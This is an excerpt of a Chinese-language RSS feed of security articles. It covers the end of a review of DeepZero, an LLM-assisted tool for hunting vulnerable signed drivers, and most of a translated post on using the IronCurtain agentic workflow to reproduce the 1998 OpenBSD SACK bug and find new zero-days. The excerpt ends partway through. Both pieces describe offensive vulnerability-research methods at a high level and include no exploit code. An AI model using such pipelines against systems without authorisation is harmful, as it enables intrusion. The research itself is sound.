leaf="">它对威胁情报为何重要</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DeepZero 是 </span><strong><span leaf="">AI 辅助进攻性安全工具链 (AI-assisted offensive security tooling)</span></strong><span leaf="">这一日益壮大类别中的一员;在这类工具中,LLM 不再只是代码评审者,而是已经成为漏洞发现流水线中的活跃环节。Ghidra 无头反编译、semgrep 静态规则,加上对排序后的候选样本做 900k token 级别的 LLM 评估,这一组合代表了一种务实且具成本意识的流水线思路:让廉价的过滤器先把样本库筛一遍,再让昂贵的 AI 阶段登场。对于红队而言,这极大地降低了 BYOVD 狩猎的成本;对于蓝队和 CTI 分析师而言,这则意味着随着此类框架的扩散,防御方应当预期到将有一批 _新近披露的_、签名合法但存在漏洞的驱动出现在勒索软件作业中。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">快速上手</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">安装方式是标准的 Python 流程:对仓库执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">git clone</span></code><span leaf="">,运行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pip install -e .</span></code><span leaf="">,通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cp .env.example .env</span></code><span leaf="">配置 LLM API 密钥,然后将 CLI 指向某个驱动样本库,例如开源的 Snappy Driver Installer 驱动包。快速启动命令为:</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">deepzero run C:\drivers -p .\pipelines\loldrivers\pipeline.yaml</span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DeepZero 会并行执行任务、缓存中间产物、通过 Rich 渲染实时终端仪表盘,并在再次运行时自动恢复进度。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结语</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DeepZero 架构精良、维护活跃 (撰文时已积累 71 次提交,绝大部分集中于最近一周内),是一款专为 BYOVD 0day 狩猎打造的自动化漏洞研究框架,其简洁的可扩展原语完全可以推广到 Windows 内核驱动以外的领域。它真正的贡献并不在于某个巧妙的小技巧 — 而在于一种坚持:漏洞研究流水线理应享有与数据工程流水线同等的工程严谨度,即声明式配置、原子化状态、可断点续跑以及可插拔阶段。对于希望以 LLM 增强方式狩猎漏洞、又不想亲手把十种工具粘合在一起的威胁研究者而言,这是今年最值得关注的开源发布之一。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012274" data-ratio="0.5032258064516129" data-s="300,640" type="block" data-type="png" data-w="620" src="https://wechat2rss.xlab.app/img-proxy/?k=398046a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgKPGhr5FRnEaV7qQickzpWlN4Q0lzzklBGhHficUE3MqciazBfDMVGYba7uYNdAObOiaKvnNjvhKhYWfibVORfrFVklnyHGdWgiarMo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://cyberwarrior76.substack.com/p/deepzero-automating-zero-day-discovery">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f11c6c4c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495984%26idx%3D2%26sn%3D38cff337862a6436d3ea42c907c7cee6">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 05 May 2026 20:04:00 +0800</pubDate>
    </item>
    <item>
      <title>用任何模型都能挖出零日漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495982&amp;idx=1&amp;sn=683f7f4f0c395f90a94ef66463c5c023</link>
      <description>漏洞发现的瓶颈在于编排,而非前沿模型:基于开源 IronCurtain 框架构建的 vuln-discovery 工作流,借助 Opus、Sonnet 以及开放权重的 GLM 5.1,不仅复现了 1998 年 OpenBSD TCP SACK 实现中的缺陷,还在四个被广泛使用的开源项目中自主发现了全新的零日漏洞。</description>
      <content:encoded><![CDATA[<p><span>Niels Provos</span> <span>2026-05-04 17:11</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7546bf35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSiao41jqj8InCdCjiaQMQNs57uvQeWm2KYRooGP7bUTf4cEaswljxewUOrKdmiaI4sAJ6hsSV8yeI7UiaiaeyfQT7QjbQEN3hF8VGqI%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>漏洞发现的瓶颈在于编排,而非前沿模型:基于开源 IronCurtain 框架构建的 vuln-discovery 工作流,借助 Opus、Sonnet 以及开放权重的 GLM 5.1,不仅复现了 1998 年 OpenBSD TCP SACK 实现中的缺陷,还在四个被广泛使用的开源项目中自主发现了全新的零日漏洞。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://www.provos.org/p/finding-zero-days-with-any-model/" target="_blank">https://www.provos.org/p/finding-zero-days-with-any-model/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Niels Provos</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">关于 AI 驱动的安全研究,主流叙事认为发现新型漏洞是一项 &#34;前沿&#34; 能力,只属于 Anthropic 最近发布的 Mythos Preview 这类受限访问的模型。近期一批备受关注的报告着力展示了这些先进模型挖掘陈年内存安全漏洞的能力——例如 1998 年 OpenBSD TCP SACK 实现中的那个缺陷——并将这些发现描绘为威胁格局的一次范式转变。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">事实并非如此。我的研究表明,这种能力并不只栖身于专有的前沿模型,同样也蕴含在驱动商业模型工作的</span><strong><span leaf="">编排框架 (orchestration harness)</span></strong><span leaf="">之中。为了论证这一点,我基于自己开源的 </span><strong><span leaf="">IronCurtain</span></strong><span leaf="">框架构建了一系列工作流。借助其中专门用于漏洞挖掘的工作流,我不仅复现了上述前沿成果,还利用 </span><strong><span leaf="">Opus 4.6</span></strong><span leaf="">、</span><strong><span leaf="">Sonnet 4.6</span></strong><span leaf="">等商业模型,以及 Z.AI 的 </span><strong><span leaf="">GLM 5.1</span></strong><span leaf="">等开放权重模型,自主在基础软件中发现了全新的零日漏洞。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">编排漏洞发现流程</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">IronCurtain</span></strong><span leaf="">是我设计的一个研究原型,旨在支撑结构化、智能体驱动 (agentic) 的安全研究。该框架通过简洁的 YAML 定义,即可承载以</span><strong><span leaf="">有限状态机 (finite-state machines, FSM)</span></strong><span leaf="">形式组织的任意工作流。为了实现自动化漏洞挖掘,我在该 FSM 之上构建了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">vuln-discovery</span></code><span leaf="">工作流,其核心是一个充当策略路由器的中央 </span><strong><span leaf="">Orchestrator</span></strong><span leaf="">智能体,它会依据一份只追加 (append-only) 的执行</span><strong><span leaf="">日志 (journal)</span></strong><span leaf="">来决定下一步该派出哪个专门的智能体。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这份日志让模型得以维持状态、验证假设并在代码库中游走。</span><strong><span leaf="">Orchestrator</span></strong><span leaf="">自身并不读取目标源代码,而是完全依赖日志推进整轮调查,直到产出最终的漏洞报告。借助这份日志以及其他磁盘上的产物,每个智能体状态都可以从一个全新的上下文窗口开始,再从磁盘中恢复 (rehydrate) 所需信息。话虽如此,这套工作流相当消耗 token。针对中等规模代码库的单次运行,在 </span><strong><span leaf="">Opus</span></strong><span leaf="">或 </span><strong><span leaf="">Sonnet</span></strong><span leaf="">上大约消耗 1000 万个 token,每次调查分别花费 150 美元或 30 美元。在 Z.AI 托管的 </span><strong><span leaf="">GLM 5.1</span></strong><span leaf="">上运行了五次,平均每次约 2700 万个 token,这反映出它需要更多迭代轮次才能得出相同结论。Z.AI 给 </span><strong><span leaf="">GLM 5.1</span></strong><span leaf="">的报价是每 100 万输入 token 1.40 美元(命中缓存为 0.26 美元)、每 100 万输出 token 4.40 美元;因此即便 token 用量更大,单次调查的成本仍与 Sonnet 处于同一区间。至于真正在普通工作站硬件上做本地推理,目前仍停留在愿景阶段而非实证演示——我测试过的一个更小的蒸馏候选模型(Qwen 3.5 蒸馏版)无法跑通该工作流,因此 </span><strong><span leaf="">GLM 5.1</span></strong><span leaf="">始终运行在 Z.AI 的 GPU 上。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">复现 1998 年 OpenBSD 漏洞</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Anthropic 的 Red Team 把 OpenBSD TCP SACK 实现中一个 27 年前的漏洞,作为其 Mythos 报告的核心成果重点展示。这个漏洞对我而言意义特殊——正是我本人在 1998 年 11 月提交了 OpenBSD 的 TCP SACK 实现,而这个 bug 也随之一并被引入。为了验证开源编排能否复现这种前沿能力,我把 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">vuln-discovery</span></code><span leaf="">工作流的一个早期版本指向了这段未打补丁的历史 C 代码。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">工作流首先借助一个 </span><strong><span leaf="">Sonnet 4.6</span></strong><span leaf="">分析智能体,梳理出结构化的数据流和调用链。FSM 编排遵循一条简单的原则:静态地提出假设,通过执行来验证,其余一切皆为噪声。在该工作流中,概念验证 (proof-of-concept, PoC) 是一个可执行的 harness,用来触发漏洞、证明可达性并暴露内存破坏,从而提供超出静态分析的经验性证据。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然而,在这次对 FSM harness 的首次测试中,提示词与日志记录都还不足以让整个系统保持在正轨上。由于安全的 </span><strong><span leaf="">IronCurtain</span></strong><span leaf="">容器无法原生地启动 OpenBSD 虚拟机,智能体最终完全退回到静态分析。它识别出了 bug,却未能实际触发,产出了一份缺少概念验证 (PoC) 的报告。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这一局限促使我对工作流做了迭代改进。我也逐渐意识到:初步的假设探索并不需要完整的虚拟机,完全可以通过轻量级的 harness 来完成,例如对单个函数做 fuzzing;只有最终的 PoC 才需要走虚拟机这条路径。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为了完成最后的验证,我直接通过 Claude Code 调用 </span><strong><span leaf="">Opus 4.6</span></strong><span leaf="">。在一些手动引导下,我让模型先借助轻量级 fuzzing 复现了该漏洞。它为目标 C 函数设计了一个独立的高性能 fuzzer,在数秒内便系统性地扫描了输入空间,并最终定位到精确的触发条件:在 43 亿个序列号中,只有差值恰好落在 32 位整数符号边界上的那两个取值,才会触发漏洞。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一旦通过 fuzzing 锁定了参数,我便让模型构建一个基于 QEMU 的驱动,在运行中的虚拟机上进行测试,从而稳定地复现出了内核 panic。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这次 OpenBSD 复现是该工作流的第一次实战测试。本轮初次运行所需的人工干预,直接推动了 FSM 提示词与日志记录方式的改进,并确立了一种构建 harness 的分层方法:单函数隔离 harness、多组件 harness,以及完整的端到端虚拟机验证。如今,工作流会根据建立利用原语 (exploitation primitive) 所需的程度,在这些层级间动态伸缩。完成上述改进之后,工作流在后续的调查中已无需任何人工干预即可运行。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">自主漏洞发现与防御能力规模化</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一个编排框架的真正价值,在于能否在现代代码库中自主发现 bug。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">vuln-discovery</span></code><span leaf="">工作流在四个被广泛使用的开源项目中,挖掘出若干此前未被报告的漏洞和重要 bug——而这些项目都已经历过多年的公开 fuzzing 和专门的安全审查。下面两个案例研究是其中具有代表性的运行结果。由于上游协调、CVE 分配以及安全公告仍在进行中,具体身份和精确的漏洞机制暂不公开。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在分析一个被广泛部署的多媒体框架时,</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">vuln-discovery</span></code><span leaf="">工作流发现了一个此前未被报告的漏洞。在 </span><strong><span leaf="">Opus 4.6</span></strong><span leaf="">的支持下,该框架识别出了缺陷,并构建出一个多组件 harness 来确认底层的利用原语 (primitive)。要用完整的端到端 harness 验证该缺陷,还需要一些人工指引——受内存约束的复现环境最初掩盖了触发条件。在对 harness 做出优化之后,工作流生成了一个能够稳定触发该漏洞的概念验证,我也将这一发现报告给了上游维护者。这一结果验证了如下思路:由商用模型搭配开源编排框架,即可独立完成漏洞发现。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在完全脱离 Anthropic 生态系统之后,后续的另一次运行将同样的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">vuln-discovery</span></code><span leaf="">工作流指向了另一个基础库。唯一改动的是模型本身:借助一个 LiteLLM 网关,把 Anthropic 的模型标识符重写为指向 Z.AI 的 </span><strong><span leaf="">GLM 5.1</span></strong><span leaf="">(通过一个兼容 Anthropic 协议的端点),而 </span><strong><span leaf="">IronCurtain</span></strong><span leaf="">与 FSM 编排层保持完全不变。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">整个发现过程由 </span><strong><span leaf="">GLM 5.1</span></strong><span leaf="">端到端驱动。</span><strong><span leaf="">Orchestrator</span></strong><span leaf="">基于只追加的日志锁定了目标范围,并引导系统去构建分层 harness。该自主工作流隔离出一个内存分配路径上的整数截断 (integer truncation) 缺陷——这一缺陷已经潜伏了 18 年,与上文 OpenBSD SACK 案例 27 年的休眠期遥相呼应。通过对相关算术运算的结构化分析,受编排驱动的模型生成了一个概念验证以及一个经过 sanitizer 验证的 harness,足以确认该漏洞类别的存在。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为了在负责任披露中给出准确的严重性评分,需要进一步确认底层的可利用性原语。我在 Claude Code 中借助 </span><strong><span leaf="">Opus 4.7</span></strong><span leaf="">进行了这次人工引导的手动分析——这是我用于深度技术工作的交互式研究环境,在这种深度的分析任务上也比 </span><strong><span leaf="">GLM 5.1</span></strong><span leaf="">更胜一筹。这项工作演示了一种受控的越界堆读和写原语。由于受影响的库被广泛部署在面向互联网的基础设施中,这个缺陷构成了严重的远程攻击风险。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: 